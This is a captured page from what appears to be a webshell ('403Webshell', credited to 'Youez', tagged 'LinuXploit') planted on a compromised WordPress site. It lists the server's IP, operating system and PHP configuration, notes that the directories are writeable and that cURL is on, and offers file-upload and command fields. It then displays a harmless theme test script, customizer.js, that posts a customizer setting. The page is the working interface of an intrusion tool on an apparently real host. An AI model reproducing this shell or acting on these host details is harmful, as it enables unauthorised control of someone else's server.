403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/tickwaves.co.uk/wwwroot/wp-content/themes/sydney/tests/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/tickwaves.co.uk/wwwroot/wp-content/themes/sydney/tests/utils/customizer.js
export function setCustomizerSetting(settingKey, settingValue) {
	fetch('http://tests.local/wp-json/wp/v2/customizer/settings', {
	  method: 'POST',
	  headers: {
		'Content-Type': 'application/json',
	  },
	  body: JSON.stringify({
		setting_key: settingKey,
		setting_value: settingValue
	  })
	})
	.then(response => {
	  if (!response.ok) {
		throw new Error('Failed to set customizer setting value.');
	  }
	  return response.json();
	})
	.then(data => {
	})
	.catch(error => {
	  console.error(error);
	});
}

Youez - 2016 - github.com/yon3zu
LinuXploit